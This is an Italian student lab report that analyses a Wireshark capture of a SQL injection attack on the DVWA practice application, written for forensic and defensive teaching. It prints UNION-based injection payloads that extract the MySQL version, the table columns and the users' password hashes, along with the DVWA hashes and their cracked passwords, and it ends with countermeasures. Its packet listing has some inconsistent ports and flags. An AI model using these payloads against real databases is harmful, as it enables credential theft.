

PROGETTO – S11/L5

Bonus 2: Attacco a un Database MySQL

Analisi forense di un attacco SQL Injection tramite Wireshark

Corso	Cyber Security & Ethical Hacking
Modulo	S11 – L5
Argomento	SQL Injection – Analisi Wireshark PCAP
Data	20 Febbraio 2026

Introduzione e Contesto

In questo laboratorio viene analizzato un file PCAP (SQL_Lab.pcap) catturato durante un attacco reale di SQL Injection contro un'applicazione web vulnerabile (DVWA – Damn Vulnerable Web Application). L'analisi è condotta con Wireshark, che permette di osservare passo dopo passo ogni fase dell'attacco: dalla ricognizione iniziale all'esfiltrazione delle credenziali.

L'attacco si svolge in un ambiente di test con due soli host coinvolti: un attaccante che invia payload malevoli tramite richieste HTTP GET e un server vittima che ospita il database MySQL vulnerabile. La durata totale della sessione è di circa 8 minuti (441 secondi).

Parte 1 – Identificazione degli Host Coinvolti

Domanda: Quali sono i due indirizzi IP coinvolti in questo attacco di SQL injection?

Nel traffico analizzato in Wireshark risultano coinvolti due soli host, identificabili immediatamente dalla lista dei pacchetti:

Indirizzo IP	Ruolo	Descrizione
10.0.2.4	Attaccante	Invia le richieste HTTP GET con i payload SQLi alla porta 80 della vittima.
10.0.2.15	Vittima (Server)	Ospita l'applicazione web DVWA e il database MySQL vulnerabile.

Il flusso delle comunicazioni è chiaramente visibile in Wireshark: le righe con sorgente 10.0.2.4 mostrano le richieste GET verso `/dvwa/vulnerabilities/sqli/?id=...`, mentre le risposte HTTP 200 OK provengono da 10.0.2.15.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	10.0.2.15	10.0.2.4	TCP	74	55614 → 80 [SYN, ACK] Seq=0 Win=29312 Len=0 MSS=1460 SACK_PERM=1 TSval=45838 TSecr=0 WS=128
2	0.000215	10.0.2.15	10.0.2.4	TCP	74	80 → 55614 [SYN, ACK] Seq=0 Win=28800 Len=0 MSS=1460 SACK_PERM=1 TSval=38535 TSecr=45838 WS=128
3	0.000349	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=45838 TSecr=38535
4	0.000681	10.0.2.4	10.0.2.15	HTTP	654	POST /dvwa/login.php HTTP/1.1 (application/x-www-form-urlencoded)
5	0.002149	10.0.2.15	10.0.2.4	TCP	66	80 → 35614 [ACK] Seq=1 Ack=589 Win=38208 Len=0 TSval=38536 TSecr=45838
6	0.005700	10.0.2.15	10.0.2.4	HTTP	438	HTTP/1.1 302 Found
7	0.005700	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=589 Ack=365 Win=38336 Len=0 TSval=45840 TSecr=38536
8	0.014383	10.0.2.4	10.0.2.15	HTTP	495	GET /dvwa/index.php HTTP/1.1
9	0.015485	10.0.2.15	10.0.2.4	HTTP	3107	HTTP/1.1 200 OK (text/html)
10	0.015485	10.0.2.4	10.0.2.15	TCP	66	35614 → 80 [ACK] Seq=1019 Ack=3406 Win=36480 Len=0 TSval=45843 TSecr=38539
11	0.058625	10.0.2.4	10.0.2.15	HTTP	429	GET /dvwa/dwa/css/main.css HTTP/1.1
12	0.070400	10.0.2.15	10.0.2.4	HTTP	1511	HTTP/1.1 200 OK (text/css)
13	174.254430	10.0.2.4	10.0.2.15	HTTP	536	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
14	174.254581	10.0.2.15	10.0.2.4	TCP	66	80 → 35638 [ACK] Seq=1 Ack=471 Win=235 Len=0 TSval=82101 TSecr=98114
15	174.257909	10.0.2.15	10.0.2.4	HTTP	1861	HTTP/1.1 200 OK (text/html)
16	220.490531	10.0.2.4	10.0.2.15	HTTP	577	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
17	220.490637	10.0.2.15	10.0.2.4	TCP	66	80 → 35648 [ACK] Seq=1 Ack=512 Win=235 Len=0 TSval=93668 TSecr=111985
18	220.493805	10.0.2.15	10.0.2.4	HTTP	1916	HTTP/1.1 200 OK (text/html)
19	277.727722	10.0.2.4	10.0.2.15	HTTP	630	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
20	277.727871	10.0.2.15	10.0.2.4	TCP	66	80 → 35642 [ACK] Seq=1 Ack=565 Win=236 Len=0 TSval=107970 TSecr=129156
21	277.732208	10.0.2.15	10.0.2.4	HTTP	1955	HTTP/1.1 200 OK (text/html)
22	313.718129	10.0.2.4	10.0.2.15	HTTP	659	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
23	313.718277	10.0.2.15	10.0.2.4	TCP	66	80 → 35644 [ACK] Seq=1 Ack=594 Win=236 Len=0 TSval=116966 TSecr=139951
24	313.712414	10.0.2.15	10.0.2.4	HTTP	1954	HTTP/1.1 200 OK (text/html)
25	383.277832	10.0.2.4	10.0.2.15	HTTP	680	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
26	383.277811	10.0.2.15	10.0.2.4	TCP	66	80 → 35666 [ACK] Seq=1 Ack=615 Win=236 Len=0 TSval=134358 TSecr=168821
27	383.284289	10.0.2.15	10.0.2.4	HTTP	4868	HTTP/1.1 200 OK (text/html)
28	441.884870	10.0.2.4	10.0.2.15	HTTP	685	GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
29	441.884427	10.0.2.15	10.0.2.4	TCP	66	80 → 35668 [ACK] Seq=1 Ack=620 Win=236 Len=0 TSval=148990 TSecr=178379
30	441.887266	10.0.2.15	10.0.2.4	HTTP	2891	HTTP/1.1 200 OK (text/html)

Figura 1 – Panoramica del traffico Wireshark: in evidenza le richieste SQLi tra 10.0.2.4 (attaccante) e 10.0.2.15 (vittima)

Parte 4 – Fingerprinting del Sistema – Versione MySQL

Domanda: Qual è la versione del DBMS rilevata?

Nella quarta fase dell'attacco, l'aggressore mira a ottenere informazioni di sistema specifiche. Tramite il payload iniettato nella richiesta GET (riga 22 del PCAP), ottiene la versione esatta del database:

```
Payload: 1' or 1=1 union select null, version()#
Risposta: 5.7.12-0ubuntu1.1
```

Questa tecnica è denominata **version disclosure** ed è cruciale per l'attaccante perché permette di:

- Identificare la release esatta di MySQL (5.7.12) e il sistema operativo sottostante (Ubuntu).
- Ricercare CVE note specifiche per quella versione (es. vulnerabilità di privilege escalation presenti in MySQL 5.7.x).
- Pianificare attacchi più avanzati o di escalation dei privilegi sfruttando bug noti.

```

</div>
<div id="main_body">
<div class="body_padded">
<h1>Vulnerability: SQL Injection</h1>
<div class="vulnerable_code_area">
<form action="" method="GET">
<p>
User ID:
<input type="text" size="15" name="id">
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<pre>ID: 1' or 1=1 union select null, version()#</pre>
<pre>First name: admin<br />Surname: admin<br />pre-ID: 1' or 1=1 union select null, version()#<br />First name: Gordon<br />Surname: Brown<br />pre-ID: 1' or 1=1 union select null, version()#<br />First name: Hack<br />Surname: Me<br />pre-ID: 1' or 1=1 union select null, version()#<br />First name: Picasso<br />Surname: Picasso<br />pre-ID: 1' or 1=1 union select null, version()#<br />First name: Bob<br />Surname: Smith<br />pre-ID: 1' or 1=1 union select null, version()#<br />First name: <br />Surname: 5.7.12-0ubuntu1.1</pre>
</div>
<h2>More Information</h2>
<ul>
<li><a href="http://www.securiteam.com/securityreviews/SDP8N1P76E.html" target="_blank">http://www.securiteam.com/securityreviews/SDP8N1P76E.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/SQL_injection" target="_blank">https://en.wikipedia.org/wiki/SQL_injection</a></li>
<li><a href="http://fezruh.mavituna.com/sql-injection-cheatsheet-oku/" target="_blank">http://fezruh.mavituna.com/sql-injection-cheatsheet-oku/</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet" target="_blank">http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</a></li>
<li><a href="https://www.owasp.org/index.php/SQL_Injection" target="_blank">https://www.owasp.org/index.php/SQL_Injection</a></li>
<li><a href="http://bobby-tables.com/" target="_blank">http://bobby-tables.com/</a></li>
</ul>
</div>

```

Figura 2 – Output HTTP Stream: la versione 5.7.12-0ubuntu1.1 restituita al termine del dump delle tuple

Parte 5 – Enumerazione delle Colonne della Tabella users

Domanda: Cosa farebbe il comando UNION SELECT sulle colonne di users?

Nella quinta fase l'attaccante utilizza un payload UNION-based per elencare tutte le tabelle del database. Il passaggio successivo logico — che il laboratorio chiede di analizzare — è l'affinamento della query per targettizzare la tabella **users**:

```
1' OR 1=1 UNION SELECT null, column_name
FROM INFORMATION_SCHEMA.columns
WHERE table_name='users'
```

Questa query interroga il database di sistema `INFORMATION_SCHEMA.columns`, che in MySQL contiene i metadati di tutte le tabelle e colonne. L'output fornisce i **nomi esatti delle colonne** presenti nella tabella `users`, tipicamente:

- `user_id, first_name, last_name`
- `user, password` — i più preziosi per l'attaccante
- `avatar, last_login, failed_login`

Questa informazione è fondamentale perché permette all'attaccante di costruire con precisione la query finale di esfiltrazione, che sarà poi eseguita nella Parte 6:

```
1' OR 1=1 UNION SELECT user, password FROM users#
```



The screenshot shows a large block of text representing the output of a UNION SELECT query. The text is a long list of column names from the 'users' table, including 'user_id', 'first_name', 'last_name', 'user', 'password', 'avatar', 'last_login', and 'failed_login'. The text is wrapped in a dark background, and the word 'users' is highlighted in red in the original image.

Figura 3 – HTTP Stream con l'enumerazione delle tabelle: si nota la presenza di 'users' tra i risultati restituiti dal database

Parte 6 – Esfiltrazione delle Credenziali e Cracking delle Password

Quale utente possiede l'hash 8d3533d75ae2c3966d7e0d4fcc69216b?

Nella fase conclusiva, l'attaccante esegue la query di esfiltrazione più devastante: estrae direttamente i nomi utente e gli hash delle password dalla tabella **users**:

```
1' or 1=1 union select user, password from users#
```

Utente	Hash MD5	Password
admin	5f4dcc3b5aa765d61d8327deb882cf99	password
gordonb	e99a18c428cb38d5f260853678922e03	abc123
1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley ☒
pablo	0d107d09f5bbe40cade3de5c71e9e9b7	letmein
smithy	5f4dcc3b5aa765d61d8327deb882cf99	password

L'hash in questione, **8d3533d75ae2c3966d7e0d4fcc69216b**, appartiene all'utente **1337** (tipico nickname da leet speaker).



Figura 4 – HTTP Stream: esfiltrazione completa di username e hash MD5 delle password dalla tabella users

Cracking dell'Hash – Password in Chiaro

L'hash è stato sottoposto a cracking tramite **CrackStation.net**, un servizio online che utilizza rainbow table di miliardi di hash precomputati. Il risultato è stato ottenuto in pochi secondi:

Algoritmo	Tipo	Password in Chiaro
MD5	Non salted	charley

Nota tecnica: MD5 non è mai stato progettato per l'hashing delle password. È un algoritmo di checksum veloce, progettato per essere computazionalmente economico, il che lo rende estremamente vulnerabile ad attacchi a dizionario e rainbow table. Per le password dovrebbero

essere usati algoritmi dedicati come **bcrypt**, **Argon2** o **PBKDF2**, che incorporano salt e cost factor.



Figura 5 – CrackStation: risoluzione dell'hash MD5 → password in chiaro "charley"

Domande di Riflessione

1. Qual è il rischio che le piattaforme utilizzino il linguaggio SQL?

Il rischio non risiede nell'uso di SQL in sé, ma nel modo in cui le applicazioni costruiscono le query. Quando un'applicazione concatena direttamente l'input utente nella stringa SQL senza sanitizzarlo, introduce una vulnerabilità di **SQL Injection (SQLi)** che può avere conseguenze devastanti:

- **Bypass di autenticazione:** query alterate per autenticarsi senza credenziali valide (es. payload classico `' OR '1'='1'`).
- **Esfiltrazione di dati:** lettura di qualsiasi tabella del database, incluse credenziali, PII, dati finanziari.
- **Modifica/cancellazione di dati:** compromissione dell'integrità del database con UPDATE, INSERT o DROP.
- **Escalation di sistema:** in configurazioni permissive (es. MySQL con FILE privilege), scrittura di file sul filesystem e potenziale RCE.

La gravità dipende da fattori tecnici quali: i permessi dell'account DB utilizzato dall'applicazione, la visibilità degli errori SQL, la presenza di WAF (Web Application Firewall) e il livello di logging. Tuttavia, l'impatto potenziale è sempre elevato poiché il database è il cuore informativo di qualsiasi servizio web.

2. Quali sono 2 metodi per prevenire gli attacchi di SQL injection?

Contromisura 1: Query Parametrizzate (Prepared Statements)

Le **Prepared Statements** con parametri — supportate nativamente da tutti i principali linguaggi e framework (PHP PDO, Python psycopg2, Java PreparedStatement) — separano strutturalmente il codice SQL dai dati. Il DBMS compila prima la struttura della query e tratta i parametri come dati puri, rendendo impossibile qualsiasi iniezione.

È la contromisura più efficace perché elimina la **causa radice** del problema. Deve essere applicata a ogni singola query nel codice.

Contromisura 2: Validazione dell'Input con Allow-list (Whitelisting)

La validazione stricta dell'input è un secondo livello di difesa (*defense in depth*) che intercetta input anomali prima che raggiungano il layer SQL. L'approccio preferito è il **whitelisting**: definire esplicitamente il formato atteso e rifiutare tutto ciò che non corrisponde:

- **Campi numerici**: accettare solo `[0-9]+` e rifiutare qualsiasi carattere non numerico.
- **Lunghezza massima**: un campo UserID non dovrebbe mai eccedere, ad esempio, 20 caratteri.
- **Charset consentito**: rifiutare caratteri speciali come apici (', "), trattini doppi (--, #) e parentesi che sono tipici dei payload SQLi.

L'approccio blacklist (lista di caratteri vietati) è invece sconsigliato perché facilmente aggirabile con encoding alternativi (URL encoding, Unicode encoding, double encoding). Il whitelisting è quindi strutturalmente più robusto.

Conclusioni

L'analisi del PCAP tramite Wireshark ha permesso di ricostruire passo dopo passo un attacco di SQL Injection completo e articolato. L'attaccante ha seguito una metodologia classica in 6 fasi:

#	Fase	Descrizione
1	Reconnaissance	Test del punto di ingresso con payload <code>1=1</code> per verificare la vulnerabilità.
2	Conferma SQLi	L'applicazione risponde con dati reali invece di un errore → vulnerabilità confermata.
3	DB Fingerprinting	Estrazione del nome del database (dvwa) e dell'utente MySQL (root@localhost).
4	Version Disclosure	Identificazione della versione del DBMS, compatibile con MySQL 5.7.12, per ricerca di CVE specifiche.
5	Schema Enumeration	Dump di tutte le tabelle e poi delle colonne di users per costruire la query finale.
6	Data Exfiltration	Estrazione di tutti gli hash MD5 delle password e cracking online con CrackStation.

Questo laboratorio dimostra concretamente come un'applicazione web vulnerabile possa essere completamente compromessa in meno di 9 minuti, a partire da un singolo campo di input non protetto. La lezione principale è che la sicurezza applicativa non è opzionale: l'adozione di Prepared Statements e la corretta validazione dell'input avrebbero reso impossibile l'intero attacco.